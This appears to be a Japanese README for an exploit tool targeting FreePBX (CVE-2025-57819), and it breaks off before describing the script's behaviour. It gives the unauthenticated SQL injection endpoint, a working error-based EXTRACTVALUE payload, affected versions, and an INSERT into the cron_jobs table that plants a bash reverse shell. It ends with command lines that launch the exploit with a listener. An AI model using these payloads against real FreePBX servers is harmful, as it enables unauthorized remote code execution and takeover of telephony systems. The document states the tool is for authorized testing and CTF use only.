
CVE-2025-57819 -> rce
FreePBX Endpoint Manager の未認証SQLインジェクション(CVE-2025-57819)を利用したワンショットエクスプロイトで、FreePBX cron_jobs テーブルを介したリモートコード実行に連鎖させます。
許可されたセキュリティテスト / CTF 使用のみを対象としています。
エンドポイントモジュールのajaxハンドラは brand パラメータをSQLクエリに直接連結し、モジュールパス FreePBX\modules\endpoint\ajax はajaxのReferrer/認証チェックをバイパスします。これにより、EXTRACTVALUE を用いた未認証のエラーベースSQLインジェクションが可能になり、スタッククエリによる書き込みも有効になります。
インジェクションポイント:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
エラーベースの読み出しの例:
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
影響を受けるバージョン: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3。
このインジェクション単体では読み取り専用ですが、スタッククエリにより書き込みが可能です。FreePBXは cron マネージャを介して cron_jobs テーブルからジョブを実行するため、行を挿入することで任意のコマンド実行が可能になります(約60秒以内、スケジュール * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
挿入されるコマンドはbashリバースシェルです。cron行は最初のコールバック後に自動的に削除され、繰り返しの接続を防ぎます。
pip install requests urllib3
Python 3。内蔵のIP検出(-i/--interface)はLinuxのみ対応。他のプラットフォームでは--ipを使用してください。
# デフォルト: インターフェイス tun0、ポート 4444 — リスナー開始、エクスプロイト、シェル起動
python3 exploit.py http://{target}
# 別のインターフェイス/ポートを指定
python3 exploit.py http://{target} -i eth0 -p 9001
# リスナーIPを明示的に指定
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
スクリプトの動作: